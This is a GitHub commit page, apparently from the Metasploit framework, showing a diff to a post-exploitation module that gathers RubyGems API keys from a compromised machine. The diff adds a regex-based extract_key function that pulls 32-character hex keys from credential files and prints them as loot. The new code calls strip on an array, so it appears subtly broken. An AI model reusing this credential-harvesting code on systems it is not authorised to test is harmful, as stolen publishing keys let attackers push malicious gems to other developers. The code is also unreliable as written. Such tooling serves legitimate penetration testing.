Skip to content

Commit cafbd1a

Browse files
author
Tod Beardsley
committed
Prefer a regex over YAML parsing
Fixes a bug introduced in rapid7#4645
1 parent 515b125 commit cafbd1a

File tree

1 file changed

+13
-1
lines changed

1 file changed

+13
-1
lines changed

modules/post/multi/gather/rubygems_api_key.rb

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,13 +40,25 @@ def run
4040
download_key(paths)
4141
end
4242

43+
# Ruby gem credentials are pretty standard and can come
44+
# in a few flavors, but the most common are straight yaml
45+
# and json, both of which are colon delimited. I suppose
46+
# you could concievably have more than one, but that'd be
47+
# manually editing, and the first one is probably the best
48+
# one anyway.
49+
def extract_key(path)
50+
data = read_file(path)
51+
keys = data.split(":").strip.select {|k| k =~ /[0-9a-f]{32}/ }
52+
keys.first
53+
end
54+
4355
def download_key(paths)
4456
print_status("Looting #{paths.count} files")
4557
paths.each do |path|
4658
path.chomp!
4759
next if ['.', '..'].include?(path)
4860

49-
rubygems_api_key = YAML.load(read_file(path))[:rubygems_api_key]
61+
rubygems_api_key = extract_key(path)
5062
next unless rubygems_api_key
5163

5264
print_good("Found a RubyGems API key: #{rubygems_api_key}")

0 commit comments

Comments
 (0)